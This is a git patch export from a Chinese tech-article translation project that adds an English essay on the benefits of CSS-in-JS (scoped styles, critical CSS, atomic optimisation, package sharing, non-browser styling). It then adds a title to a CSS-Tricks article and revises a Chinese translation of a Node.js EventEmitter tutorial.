+![](https://cdn-images-1.medium.com/max/1600/1*RtAMWbxdwW2ujyrurU9plw.png)
+
+After all, CSS Modules is typically chosen by developers who want locally-scoped styles _without_ buying in to CSS-in-JS. In fact, I don’t even use CSS-in-JS in my own work.
+
+Despite this, I continue to maintain a keen interest in the CSS-in-JS community, keeping a close eye on the innovations that they continually come up with. Not only that, _I think the broader CSS community should be interested too._
+
+But why?
+
+To get a clearer understanding of why people are choosing to write their styles in JavaScript, we’ll focus on the practical benefits that emerge when taking this approach.
+
+I’ve broken this down into five major areas:
+
+1.  Scoped styles
+2.  Critical CSS
+3.  Smarter optimisations
+4.  Package management
+5.  Non-browser styling
+
+Let’s break this down further and have a closer look at what CSS-in-JS brings to the table for each of these points.
+
+### 1.
+
+#### **Scoped styles**
+
+It’s no secret that architecting CSS effectively at scale is incredibly difficult. When joining an existing long-lived project, it wasn’t uncommon to find that the CSS was the hardest part of the system to figure out.
+
+To counter this, the CSS community has invested heavily in trying to address these issues, making our styles more maintainable with methodologies like [OOCSS](https://github.com/stubbornella/oocss/wiki) by [Nicole Sullivan](https://twitter.com/stubbornella) and [SMACSS](https://smacss.com/) by [Jonathan Snook](https://twitter.com/snookca)—but the clear winner right now in terms of popularity seems to be [BEM](http://getbem.com), or Block Element Modifier, from [Yandex](https://github.com/yandex).
+
+Ultimately, BEM (when applied purely to CSS) is just a naming convention, opting to limit styles to classes following a `.Block__element--modifier` pattern. In any given BEM-styled codebase, developers have to remember to follow BEM’s rules at all times. When strictly followed, BEM works really well, but why is something as fundamental as scoping left up to pure _convention?_
+
+Whether they explicitly say so or not, the majority of CSS-in-JS libraries are following the BEM mindset of trying to target styles to individual UI elements, but implementing it in a radically different way.
+
+What does this look like in practice? When using [glamor](https://github.com/threepointone/glamor) by [Sunil Pai](https://twitter.com/threepointone), it looks something like this:
+
+```
+import { css } from 'glamor'
+const title = css({
+  fontSize: '1.8em',
+  fontFamily: 'Comic Sans MS',
+  color: 'blue'
+})
+console.log(title)
+// → 'css-1pyvz'
+```
+
+What you’ll notice here is that _the CSS class is nowhere to be found in our code._ It’s no longer a hard-coded reference to a class defined elsewhere in the system. Instead, it is generated automatically for us by the library. We don’t have to worry about our selectors clashing in the global scope, which means we no longer have to manually prefix them.
+
+The scoping of this selector matches the scoping rules of the surrounding code. If you want to make this rule available to the rest of your application, you’ll need to turn it into a JavaScript module and import it wherever it’s used. In terms of keeping our codebases maintainable over time, this is incredibly powerful, _making sure that the source of any given style can be easily traced like any other code._
+
+**_By moving from mere convention towards enforcing locally-scoped styles by default, we’ve now improved the baseline quality of our styles. BEM is baked in, not opt-in._**
+
+—
+
+Before I continue, there’s a critically important point to clarify.
+
+**_This is generating real CSS, not inline styles._**
+
+Most of the earliest CSS-in-JS libraries attached styles directly to each element, but the critical flaw in this model is that ‘style’ attributes can’t do everything that CSS can do. Most new libraries instead focus on _dynamic style sheets,_ inserting and removing rules at runtime from a global set of styles.
+
+As an example, let’s have a look at [JSS](https://github.com/cssinjs/jss) by [Oleg Slobodskoi](https://twitter.com/oleg008), one of the earliest CSS-in-JS libraries to generate _real CSS._
+
+![](https://cdn-images-1.medium.com/max/1600/1*ltBvwbyvBt8OMdGZQOdMDA.png)
+
+When using JSS, you can use standard CSS features like hover styles and media queries, which map directly to the equivalent CSS rules.
+
+```
+const styles = {
+  button: {
+    padding: '10px',
+    '&:hover': {
+      background: 'blue'
+    }
+  },
+  '@media (min-width: 1024px)': {
+    button: {
+      padding: '20px'
+    }
+  }
+}
+```
+
+Once you insert these styles into the document, the automatically generated classes are provided to you.
+
+```
+const { classes } = jss.createStyleSheet(styles).attach()
+```
+
+These generated classes can then be used instead of hard-coded class strings when generating markup in JavaScript. This pattern works regardless of whether you’re using a full-blown framework, or something as simple as _innerHTML._
+
+```
+document.body.innerHTML = `
+  <h1 class="${classes.heading}">Hello World!</h1>
+`
+```
+
+Managing the styles in this way is of little benefit by itself—it’s usually paired with some kind of component library. As a result, it’s typical to find bindings available for the most popular libraries. For example, JSS can easily bind to React components with the help of [react-jss](https://github.com/cssinjs/react-jss), injecting a small set of styles into each component while managing the global lifecycle for you.
+
+```
+import injectSheet from 'react-jss'
+const Button = ({ classes, children }) => (
+  <button className={classes.button}>
+    <span className={classes.label}>
+      {children}
+    </span>
+  </button>
+)
+export default injectSheet(styles)(Button)
+```
+
+By focusing our styles around components, integrating them more closely at the code level, we’re effectively taking BEM to its logical conclusion. So much so that many in the CSS-in-JS community felt like the importance of extracting, naming and reusing components was being lost in all the style-binding boilerplate.
+
+An entirely new way of thinking about this problem emerged with the introduction of [styled-components](https://github.com/styled-components/styled-components) by [Glen Maddern](https://twitter.com/glenmaddern) and [Max Stoiber](https://twitter.com/mxstbr).
+
+![](https://cdn-images-1.medium.com/max/1600/1*l4nfMFKxfT4yNTWUK2Vsdg.png)
+
+Instead of creating styles, which we then have to manually bind to components, we’re forced to create components directly.
+
+```
+import styled from 'styled-components'
+
+const Title = styled.h1`
+  font-family: Comic Sans MS;
+  color: blue;
+`
+```
+
+When applying these styles, we don’t attach a class to an existing element. We simply render the generated component.
+
+```
+<Title>Hello World!</Title>
+```
+
+While styled-components uses traditional CSS syntax via tagged template literals, others prefer working with data structures instead. A notable alternative is [Glamorous](https://github.com/paypal/glamorous) by [Kent C. Dodds](https://twitter.com/kentcdodds) from [PayPal](https://github.com/paypal).
+
+![](https://cdn-images-1.medium.com/max/1600/1*Ere9GQTIJeNac2ONfZlfdw.png)
+
+Glamorous offers the same component-first API as styled-components, but opts for _objects_ instead of _strings,_ eliminating the need to include a CSS parser in the library—reducing the library’s size and performance footprint.
+
+```
+import glamorous from 'glamorous'
+
+const Title = glamorous.h1({
+  fontFamily: 'Comic Sans MS',
+  color: 'blue'
+})
+```
+
+Whichever syntax you use to describe your styles, they’re no longer just _scoped_ to components—_they’re inseparable from them._ When using a library like React, components are the fundamental building blocks, and now our styles form a core part of that architecture. _If we describe everything in our app as components, why not our styles too?_
+
+—
+
+For seasoned veterans of BEM, all of this may seem like a relatively shallow improvement given the significance of the change we’ve introduced to our system. In fact, CSS Modules lets you achieve this without leaving the comfort of the CSS tooling ecosystem. This is why so many projects stick with CSS Modules, finding that it sufficiently solves most of their problems with writing CSS at scale without sacrificing the familiarity of regular CSS.
+
+However, it’s when we start to build on top of these basic concepts that things start to get a lot more interesting.
+
+### 2.
+
+#### Critical CSS
+
+It’s become a relatively recent best practice to inline critical styles in the head of your document, improving initial load times by providing only those styles required to render the current page. This is in stark contrast to how we usually loaded styles—forcing the browser to download every possible visual style for our application before a single pixel was rendered on the screen.
+
+While there are tools available for extracting and inlining critical CSS, like the appropriately named [critical](https://github.com/addyosmani/critical) by [Addy Osmani](https://twitter.com/addyosmani), they don’t fundamentally change the fact that critical CSS is difficult to maintain and automate. It’s a tricky, purely optional performance optimisation, so most projects seem to forgo this step.
+
+CSS-in-JS is a totally different story.
+
+When working in a server rendered application, extracting your critical CSS is not merely an optimisation—CSS-in-JS on the server fundamentally _requires_ critical CSS to even work in the first place.
+
+For example, when using [Aphrodite](https://github.com/Khan/aphrodite) from [Khan Academy](https://github.com/Khan), it keeps track of which styles are used within a single render pass using its `css` function, which is called inline while applying classes to your elements.
+
+```
+import { StyleSheet, css } from 'aphrodite'
+const styles = StyleSheet.create({
+  title: { ... }
+})
+const Heading = ({ children }) => (
+  <h1 className={css(styles.heading)}>{ children }</h1>
+)
+```
+
+Even though all of your styles are defined in JavaScript, you can easily extract all the styles for the current page into a static string of CSS that can be inserted into the head of the document when rendering server-side.
+
+```
+import { StyleSheetServer } from 'aphrodite';
+
+const { html, css } = StyleSheetServer.renderStatic(() => {
+  return ReactDOMServer.renderToString(<App/>);
+});
+```
+
+You can now render your critical CSS block like this:
+
+```
+const criticalCSS = `
+  <style data-aphrodite>
+    ${css.content}
+  </style>
+`;
+```
+
+If you’ve looked into React’s server rendering model, you may find this to be a very familiar pattern. In React, your components define their markup in JavaScript, but can be rendered to a regular HTML string on the server.
+
+**_If you build your app with progressive enhancement in mind, despite being written entirely in JavaScript, it might not require JavaScript on the client at all._**
+
+Either way, the client-side JavaScript bundle includes the code needed to boot up your single-page app, suddenly bringing it to life, rendering in the browser from that point forward.
+
+Since rendering your HTML and CSS on the server happen at the same time, libraries like Aphrodite often help us streamline the generation of both critical CSS _and_ server-rendered HTML into a single call, as we saw in the previous example. This now allows us to render our React components to static HTML in a similar fashion.
+
+```
+const appHtml = `
+  <div id="root">
+    ${html}
+  </div>
+`
+```
+
+By using CSS-in-JS on the server, not only does our single-page app continue to work without JavaScript, _it might even render faster too._
+
+**_As with the scoping of our selectors, the best practice of rendering critical CSS is now baked in, not opt-in._**
+
+### 3.
+
+#### Smarter optimisations
+
+We’ve recently seen the rise of new ways of structuring our CSS—like [Atomic CSS](https://acss.io/) from [Yahoo](https://github.com/yahoo) and [Tachyons](http://tachyons.io/) by [Adam Morse](https://twitter.com/mrmrs_)—that eschew “semantic classes” in favour of tiny, single-purpose classes. For example, when using Atomic CSS, you apply classes with a function-like syntax which can then be used to generate an appropriate style sheet.
+
+```
+<div class="Bgc(#0280ae.5) C(#fff) P(20px)">
+  Atomic CSS
+</div>
+```
+
+The goal is to keep your CSS bundle as lean as possible by maximising the re-usability of classes, effectively treating classes like inline styles. While it’s easy to appreciate the reduction in file size, the impacts to both your codebase and your fellow team members are anything but insignificant. These optimisations, by their very nature, involve changes to both your CSS _and_ your markup, making them a more significant architectural effort.
+
+As we’ve touched on already, when using CSS-in-JS or CSS Modules, you no longer hard-code class strings in your markup, instead using dynamic references to JavaScript values that have been generated automatically by a library or build tool.
+
+Instead of this:
+
+```
+<aside className="sidebar" />
+```
+
+We write this:
+
+```
+<aside className={styles.sidebar} />
+```
+
+This may look like a fairly superficial change, but this is a monumental shift in how we manage the relationship between our markup and our styles. By giving our CSS tooling the ability to alter not just our styles, _but the final classes we apply to our elements,_ we unlock an entirely new class of optimisations for our style sheets.
+
+If we look at the example above, _‘styles.sidebar’_ evaluates to a string, but there’s nothing limiting it to a single class. For all we know, it could just as easily end up being a string of over a dozen classes.
+
+```
+<aside className={styles.sidebar} />
+// Could easily resolve to this:
+<aside className={'class1 class2 class3 class4'} />
+```
+
+If we can optimise our styles, generating multiple classes for each set of styles, we can do some really interesting things.
+
+My favourite example of this is [Styletron](https://github.com/rtsao/styletron) by [Ryan Tsao](https://twitter.com/rtsao).
+
+![](https://cdn-images-1.medium.com/max/1600/1*7xxb6FOmcmPCnQNrFy5pjg.png)
+
+In the same way that CSS-in-JS and CSS Modules automate the process of adding BEM-style class prefixes, Styletron does the same thing to the Atomic CSS mindset.
+
+The core API is focused around a single task—defining individual CSS rules for each combination of property, value and media query, which then returns an automatically generated class.
+
+```
+import styletron from 'styletron';
+styletron.injectDeclaration({
+  prop: 'color',
+  val: 'red',
+  media: '(min-width: 800px)'
+});
+// → 'a'
+```
+
+Of course, Styletron provides higher level APIs, such as its `injectStyle` function which allows multiple rules to be defined at once.
+
+```
+import { injectStyle } from 'styletron-utils';
+injectStyle(styletron, {
+  color: 'red',
+  display: 'inline-block'
+});
+// → 'a d'
+injectStyle(styletron, {
+  color: 'red',
+  fontSize: '1.6em'
+});
+// → 'a e'
+```
+
+Take special note of the commonality between the two sets of class names generated above.
+
+**_By relinquishing low-level control over the classes themselves, only defining the desired set of styles, we allow the library to generate the optimal set of atomic classes on our behalf._**
+
+![](https://cdn-images-1.medium.com/max/1600/1*pWXr1A6uhiOkYHqwfBMtWg.png)
+
+Optimisations that are typically done by hand—finding the most efficient way to split up our styles into reusable classes—can now be completely automated. You might be starting to notice a trend here. **_Atomic CSS is baked in, not opt-in._**
+
+### 4.
+
+#### Package management
+
+Before digging into this point, it’s first worth stopping and asking yourself a seemingly simple question.
+
+_How do we share CSS with each other?_
+
+We’ve migrated from manually downloading CSS files, towards front-end specific package managers like [Bower](https://bower.io), and now via [npm](https://www.npmjs.com/) thanks to tools like [Browserify](http://browserify.org/) and [webpack](https://webpack.js.org). Even though some tooling has automated the process of including CSS from external packages, the front-end community has mostly settled on manual inclusion of CSS dependencies.
+
+Either way, there’s one thing that CSS dependencies aren’t very good at—depending on _other_ CSS dependencies.
+
+As many of you might remember, we’ve seen a similar effect with _JavaScript modules_ between Bower and npm.
+
+Bower wasn’t coupled to any particular module format, whereas modules published to npm use the [CommonJS module format](http://wiki.commonjs.org/wiki/Modules/1.1). This has had a massive impact on the number of packages published to each platform.
+
+Complex trees of small, _nested_ dependencies felt right at home on npm, while Bower attracted large, _monolithic_ dependencies, of which you might only have two or three—plus a few plugins, of course. Since your dependencies didn’t have a module system to rely on, each package couldn’t easily make use of its _own_ dependencies, so the integration was always a manual step left up to the consumer.
+
+As a result, the number of packages on npm over time forms an exponential curve, while Bower only had a fairly linear increase of packages. While there are certainly a variety of reasons for this differentiation, it’s fair to say that a _lot_ of it has to do with the way each platform allows (or doesn’t allow) packages to depend on each other at runtime.
+
+![](https://cdn-images-1.medium.com/max/1600/1*LTrsIISPV5qK-qAQKaeINA.png)
+
+Unfortunately, this looks all too familiar to the CSS community, where we’ve also seen a relatively slow increase of monolithic packages compared to what we see with JavaScript packages on npm.
+
+What if we instead wanted to match npm’s exponential growth? What if we wanted to be able to depend on complex package hierarchies of varying sizes, with less focus on large, all-encompassing frameworks? To do this, we’d not only need a package manager that’s up to the task—we’d also need an appropriate module format too.
+
+Does this mean that we need a package manager specifically designed for CSS? For preprocessors like Sass and Less?
+
+What’s really interesting is that we’ve already gone through a similar realisation with HTML. If you ask the same questions about how we share _markup_ with each other, you’ll quickly notice that we almost never share raw HTML directly—we share _HTML-in-JS._
+
+We do this via [jQuery plugins](https://plugins.jquery.com/), [Angular directives](http://ngmodules.org) and [React components](https://react.parts/web). We compose large components out of smaller components, each with their own HTML, each published independently to npm. HTML as a format might not be powerful enough to allow this, but by _embedding HTML within a fully-fledged programming language,_ we’re easily able to work around this limitation.
+
+What if, like HTML, we shared our CSS—and the logic that generates it—via JavaScript? What if, instead of using [mixins](http://sass-lang.com/documentation/file.SASS_REFERENCE.html#mixins), we used _functions returning objects and strings?_ Instead of [extending classes](http://sass-lang.com/documentation/file.SASS_REFERENCE.html#extend), what if we simply _merged objects_ with [_Object.assign_](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/assign), or the new [object spread operator](https://github.com/tc39/proposal-object-rest-spread)?
+
+```
+const styles = {
+  ...rules,
+  ...moreRules,
+  fontFamily: 'Comic Sans MS',
+  color: 'blue'
+}
+```
+
+Once we start writing our styles this way, we can now compose and share our styling code like any other code in our application, using the same patterns, the same tooling, the same infrastructure, _the same ecosystem._
+
+A great example of how this starts to pay off is in libraries like [Polished](https://github.com/styled-components/polished) by [Max Stoiber](https://twitter.com/mxstbr), [Nik Graf](https://twitter.com/nikgraf) and [Brian Hough](https://twitter.com/b_hough).
+
+![](https://cdn-images-1.medium.com/max/1600/1*fczf3OWmmKBkFgtUqZnq2g.png)
+
+Polished is essentially the [Lodash](https://lodash.com) of CSS-in-JS, providing a complete suite of mixins, colour functions, shorthands and more, making the process of authoring styles in JavaScript much more familiar for those coming from languages like [Sass](http://sass-lang.com). The key difference now is that this code is much more composable, testable and shareable, able to use the full JavaScript package ecosystem.
+
+So, when it comes to CSS, how do we achieve the same level of open source activity seen across npm as a whole, composing large collections of styles from small, reusable, open-source packages? Strangely enough, we might finally achieve this by embedding our CSS within another language and completely embracing JavaScript modules.
+
+### 5.
+
+#### Non-browser styling
+
+So far, all of the points we’ve covered—while certainly a lot _easier_ when writing CSS in JavaScript—they’re by no means things that are _impossible_ with regular CSS. This is why I’ve left the most interesting, future-facing point until last. Something that, while not necessarily playing a huge role in today’s CSS-in-JS community, is quite possibly going to become a foundational layer in the future of _design._ Something that affects not just developers, but designers too, radically altering the way these two disciplines communicate with each other.
+
+First, to put this in context, we need to take a quick detour into React.
+
+—
+
+The React model is all about components rendering intermediate representations of the final output. When working in the browser, rather than directly mutating DOM elements, we’re building up complex trees of virtual DOM.
+
+What’s interesting, though, is that rendering to the DOM is not part of the core React library, instead being provided by _react-dom._
+
+```
+import { render } from 'react-dom'
+```
+
+Even though React was built for the DOM first, and still gets most of its usage in that environment, this model allows React to target wildly different environments simply by introducing new renderers.
+
+JSX isn’t just about virtual DOM—it’s about virtual _whatever._
+
+This is what allows [React Native](https://facebook.github.io/react-native) to work, writing truly native applications in JavaScript, by writing components that render virtual representations of their native counterparts. Instead of _div_ and _span_, we have _View_ and _Text._
+
+From a CSS perspective, the most interesting thing about React Native is that it comes with its own [StyleSheet API](https://facebook.github.io/react-native/docs/stylesheet.html):
+
+```
+var styles = StyleSheet.create({
+  container: {
+    borderRadius: 4,
+    borderWidth: 0.5,
+    borderColor: '#d6d7da',
+  },
+  title: {
+    fontSize: 19,
+    fontWeight: 'bold',
+  },
+  activeTitle: {
+    color: 'red',
+  }
+})
+```
+
+Here you can see a familiar set of styles, in this case covering colours, fonts and border styling.
+
+These rules are fairly straightforward and map easily to most UI environments, but things get really interesting when it comes to native layout.
+
+```
+var styles = StyleSheet.create({
+  container: {
+    display: 'flex'
+  }
+})
+```
+
+Despite being outside of a browser environment, _React Native ships with its own native implementation of_ [_flexbox_](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes)_._
+
+Initially released as a JavaScript package called [_css-layout_](https://www.npmjs.com/package/css-layout)_,_ reimplementing flexbox entirely in JavaScript (backed by an appropriately comprehensive test suite), it’s now been migrated to C for better portability.
+
+Given the scope and importance of the project, it’s been given a more significant brand of its own in the form of [Yoga](https://facebook.github.io/yoga).
+
+![](https://cdn-images-1.medium.com/max/1600/1*mv_hHmbOgU7SOd5t2J2Q2g.png)
+
+Even though Yoga is all about porting CSS concepts to non-browser environments, the potentially unmanageable scope has been reigned in by focusing on only a subset of CSS features.
+
+> “Yoga’s focus is on creating an expressive layout library, not implementing all of CSS”
+
+These sorts of tradeoffs may seem limiting, but when you look at the history of CSS architecture, it’s clear that _working with CSS at scale is all about picking a reasonable subset of the language._
+
+In Yoga’s case, they eschew the cascade in favour of scoped styles, and focus their layout engine entirely on flexbox. While this rules out a lot of functionality, it also unlocks an amazing opportunity for cross-platform components with embedded styling, and we’ve already seen several notable open source projects trying to capitalise on this fact.
+
+[React Native for Web](https://github.com/necolas/react-native-web) by [Nicolas Gallagher](https://twitter.com/necolas) aims to be a drop-in replacement for the react-native library. When using a bundler like webpack, aliasing third-party packages is fairly straightforward.
+
+```
+module: {
+  alias: {
+    'react-native': 'react-native-web'
+  }
+}
+```
+
+Using React Native for Web allows React Native components to work in a browser environment, including a browser port of the [React Native StyleSheet API](https://facebook.github.io/react-native/docs/stylesheet.html)_._
+
+Similarly, [react-primitives](https://github.com/lelandrichardson/react-primitives) by [Leland Richardson](https://twitter.com/intelligibabble) is all about providing a cross-platform set of primitive components that abstract away the implementation details of the target platform, creating a workable baseline for cross-platform components.
+
+Even [Microsoft](https://github.com/Microsoft) is getting in on the act with the introduction of [ReactXP](https://microsoft.github.io/reactxp), a library designed to streamline efforts to share code across both web and native, which also includes its own [platform-agnostic style implementation](https://microsoft.github.io/reactxp/docs/styles.html).
+
+—
+
+Even if you don’t write software for native applications, it’s important to note that having a truly cross-platform component abstraction allows us to target an effectively limitless set of environments, sometimes in ways that you might never have predicted.
+
+The most surprising example of this I’ve seen is [react-sketchapp](http://airbnb.io/react-sketchapp) by [Jon Gold](https://twitter.com/jongold) at [Airbnb](https://github.com/airbnb).
+
+![](https://cdn-images-1.medium.com/max/1600/1*qfskIhHAWpYwfR5Lz0_cIA.png)
+
+For many of us, so much of our time is spent trying to standardise our design language, limiting the amount of duplication in our systems as much as possible. Unfortunately, as much as we’d like to only have a single source of truth, it seemed like the best we could hope for was to reduce it to _two_—a living style guide for developers, and _a static style guide for designers._ While certainly much better than what we’ve been historically used to, this still leaves us manually syncing from design tools—like [Sketch](https://www.sketchapp.com)—to code and back. This is where react-sketchapp comes in.
+
+Thanks to Sketch’s [JavaScript API](http://developer.sketchapp.com/reference/api), and the ability for React to connect to different renderers, react-sketchapp lets us take our cross-platform React components and render them into our Sketch documents.
+
+![](https://cdn-images-1.medium.com/max/1600/1*v2L1DB8OS38GScyBRFD8hQ.png)
+
+Needless to say, this has the potential to massively shake up how designers and developers collaborate. Now, when we refer to the same components while iterating on our designs, we can potentially be referring to the same _implementation_ too, regardless of whether we’re working with tools for designers or developers.
+
+With [symbols in Sketch](https://www.sketchapp.com/learn/documentation/symbols) and [components in React](https://facebook.github.io/react/docs/components-and-props.html), our industry is essentially starting to converge on the same abstraction, opening the opportunity for us to work closer together by sharing the same tools.
+
+It’s no coincidence that so many of these new experiments are coming from within the React community, and those communities surrounding it.
+
+In a component architecture, co-locating as many of a component’s concerns in a single place becomes a high priority. This, of course, includes its locally scoped styles, but even extends to more complicated areas like data fetching thanks to libraries like [Relay](https://facebook.github.io/relay) and [Apollo](http://dev.apollodata.com). The result is something that unlocks an enormous amount of potential, of which we’ve only just scratched the surface.
+
+While this has a huge impact on the way we style our applications, it has an equally large effect on everything else in our architecture—but for good reason.
+
+By unifying our model around components written in a single language, we have the potential to better separate our concerns—not by technology, but by _functionality._ Scoping everything around the unit of a component, scaling large yet maintainable systems from them, optimised in ways that weren’t possible before, sharing our work with each other more easily and composing large applications out of small open-source building blocks. Most importantly, we can do all of this without breaking progressive enhancement, without giving up on the principles that many of us see as a non-negotiable part of taking the web platform seriously.
+
+Most of all, I’m excited about the potential of components written in a single language to form the basis of _a new, unified styling language_—one that unites the front-end community in ways we’ve never seen before.
+
+At SEEK, we’re working to take advantage of this by building our own living style guide around this component model, where semantics, interactivity and visual styling are all united under a single abstraction. This forms a common design language, shared between developers and designers alike.
+
+As much as possible, building a page should be as simple as combining an opinionated set of components that ensure our work stays on brand, while allowing us to upgrade our design language long after we’ve shipped to production.
+
+```
+import {
+  PageBlock,
+  Card,
+  Text
+} from 'seek-style-guide/react'
+const App = () => (
+  <PageBlock>
+    <Card>
+      <Text heading>Hello World!</Text>
+    </Card>
+  </PageBlock>
+)
+```
+
+Even though our style guide is currently built with React, webpack and CSS Modules, the architecture exactly mirrors what you’d find in any system built with CSS-in-JS. The technology choices may differ, but the mindset is the same.
+
+However, these technology choices will likely need to shift in unexpected ways in the future, which is why keeping an eye on this space is so critical to the ongoing development of our component ecosystem. We may not be using CSS-in-JS today, but it’s quite possible that a compelling reason to switch could arise sooner than we think.
+
+CSS-in-JS has come a surprisingly long way in a short amount of time, but it’s important to note that, in the grand scheme of things, it’s only just getting started.
+
+There’s still so much room for improvement, and the innovations are showing no signs of stopping. Libraries are still popping up to address the outstanding issues and to improve the developer experience—performance enhancements, extracting static CSS at build time, targeting CSS variables and lowering the barrier to entry for all front-end developers.
+
+This is where the CSS community comes in. Despite all of these massive alterations to our workflow, **_none of this changes the fact that you still need to know CSS._**
+
+We may express it with different syntax, we may architect our apps in different ways, but the fundamental building blocks of CSS aren’t going away. Equally, our industry’s move towards component architectures is inevitable, and the desire to reimagine the front-end through this lens is only getting stronger. There is a very real need for us to work together, to ensure our solutions are widely applicable to developers of all backgrounds, whether design-focused, engineering-focused, or both.
+
+While we may sometimes seem at odds, the CSS and JS communities both share a passion for improving the front-end, for taking the web platform seriously, and improving our processes for the next generation of web sites. There’s so much potential here, and while we’ve covered an incredible amount of ground so far, there’s still so much work left to be done.
+
+At this point, you still might not be convinced, and that’s totally okay. It’s completely reasonable to find CSS-in-JS to be ill-fitting for your work _right now,_ but my hope is that it’s for the _right reasons,_ rather than superficial objections to mere _syntax._
+
+Regardless, it seems quite likely that this approach to authoring styles is only going to grow more popular over the coming years, and it’s worth keeping an eye on it while this approach continues to evolve at such a rapid pace. I sincerely hope that you’re able to join us in helping make the next generation of CSS tooling as effective as possible for all front-end developers, whether through code contributions or _simply being an active part of the conversation._ If not, at the _very least,_ I hope I’ve been able to give you a better understanding of why people are so passionate about this space, and—maybe—why it’s not such a ridiculous idea after all.
+
+_This article was written in parallel with a talk of the same name — presented at CSSconf EU 2017 in Berlin, Germany — which is now_ [_available on YouTube_](https://www.youtube.com/watch?v=X_uTCnaRe94)_._
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 76f01c10779a3639043af8d98275f1058d27a199 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Thu, 1 Jun 2017 22:25:33 +0800
Subject: [PATCH 579/638] add article title

---
 TODO/future-front-end-web-development.md | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/TODO/future-front-end-web-development.md b/TODO/future-front-end-web-development.md
index c36dcc9d5fb..d73dfa275bf 100644
--- a/TODO/future-front-end-web-development.md
+++ b/TODO/future-front-end-web-development.md
@@ -1,9 +1,11 @@
 > * 原文地址：[What is the Future of Front End Web Development?](https://css-tricks.com/future-front-end-web-development/)
-> * 原文作者：[Chris Coyier](https://css-tricks.com/author/chriscoyier/)
+> * 原文作者：本文已获 [Chris Coyier](https://css-tricks.com/author/chriscoyier/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：
 
+# What is the Future of Front End Web Development?
+
 I was asked to do a little session on this the other day. I'd say I'm
 underqualified to answer the question, as is any single person. If you really
 needed hard answers to this question, you'd probably look to aggregate data of

From 41a2191743c7b6f288d6693592f19e6c7c59eab9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Thu, 1 Jun 2017 15:28:50 +0800
Subject: [PATCH 580/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=EF=BC=9A#7=20Events?=
 =?UTF-8?q?=20Arguments=20and=20Errors?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...nding-node-js-event-driven-architecture.md | 36 +++++++++----------
 1 file changed, 17 insertions(+), 19 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index b94b54ab539..471f56aeb87 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -334,25 +334,25 @@ class WithTime extends EventEmitter {
 
 这真的看起来更易读了呢！`async/await` 特性使我们的代码更加贴近 JavaScript 本身, 我认为这是一大进步。
 
-#### Events Arguments and Errors ####
+#### 事件参数及错误 ####
 
 在之前的例子中，我们使用了额外的参数来发射两个事件。
 
-错误的事件使用了错误对象，data 事件使用了 data 对象
+错误事件使用了错误对象，data 事件使用了 data 对象。
 
 ```js
 this.emit('error', err);
 ```
 
-The data event is emitted with a data object.
+data 事件使用了 data 对象。
 
 ```js
 this.emit('data', data);
 ```
 
-在listener函数调用的时候我们可以传递很多的参数，这些参数在执行的时候都会切实可用。
+在 listener 函数调用的时候我们可以传递很多的参数，这些参数在执行的时候都会切实可用。
 
-例如：data事件执行的时候，listener函数在注册的时候就会允许我们的接纳事件发射的data参数，而asyncFunc函数也实实在在暴露给了我们。
+例如：data 事件执行的时候，listener 函数在注册的时候就会允许我们的接纳事件发射的 data 参数，而 asyncFunc 函数也实实在在暴露给了我们。
 
 ```js
 withTime.on('data', (data) => {
@@ -360,7 +360,7 @@ withTime.on('data', (data) => {
 });
 ```
 
-error事件也是同样是典型的一个。在我们基于callback的例子中，如果没用listener函数来处理错误，node进程就会直接终止-。-
+error 事件通常是特例。在我们基于 callback 的例子中，如果没用 listener 函数来处理错误，Node 进程就会直接终止-。-
 
 我们写个例子来展示这一点：
 
@@ -384,8 +384,7 @@ withTime.execute(fs.readFile, ''); // BAD CALL
 withTime.execute(fs.readFile, __filename);
 ```
 
-The first execute call above will trigger an error. The node process is going to crash and exit:
-
+上面代码中调用 excute 会触发一个错误，Node 进程会崩溃然后退出：
 ```bash
 events.js:163
       throw er; // Unhandled 'error' event
@@ -396,7 +395,7 @@ Error: ENOENT: no such file or directory, open ''
 
 第二个执行调用将受到之前崩溃的影响，并可能不会得到执行。
 
-如果我们注册一个listener来处理它，情况就不一样了：
+如果我们注册一个 listener 来处理 error 对象，情况就不一样了：
 
 ```js
 withTime.on('error', (err) => {
@@ -405,8 +404,7 @@ withTime.on('error', (err) => {
 });
 ```
 
-If we do the above, the error from the first execute call will be reported but the node process will not crash and exit. The other execute call will finish normally:
-
+加上了上面的错误处理，第一个 excute 调用的错误会被报告，但 Node 进程不会再崩溃退出了，其它的调用也会正常执行：
 ```bash
 { Error: ENOENT: no such file or directory, open '' errno: -2, code: 'ENOENT', syscall: 'open', path: '' }
 execute: 4.276ms
@@ -420,9 +418,9 @@ UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1):
 DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
 ```
 
-另一种方式处理emit的error的方法是注册一个全局的uncaughtException进程事件，但是，全局的捕获错误对象并不是一个好办法。
+另一种方式处理 emit 的 error 的方法是注册一个全局的 uncaughtException 进程事件，但是，全局的捕获错误对象并不是一个好办法。
 
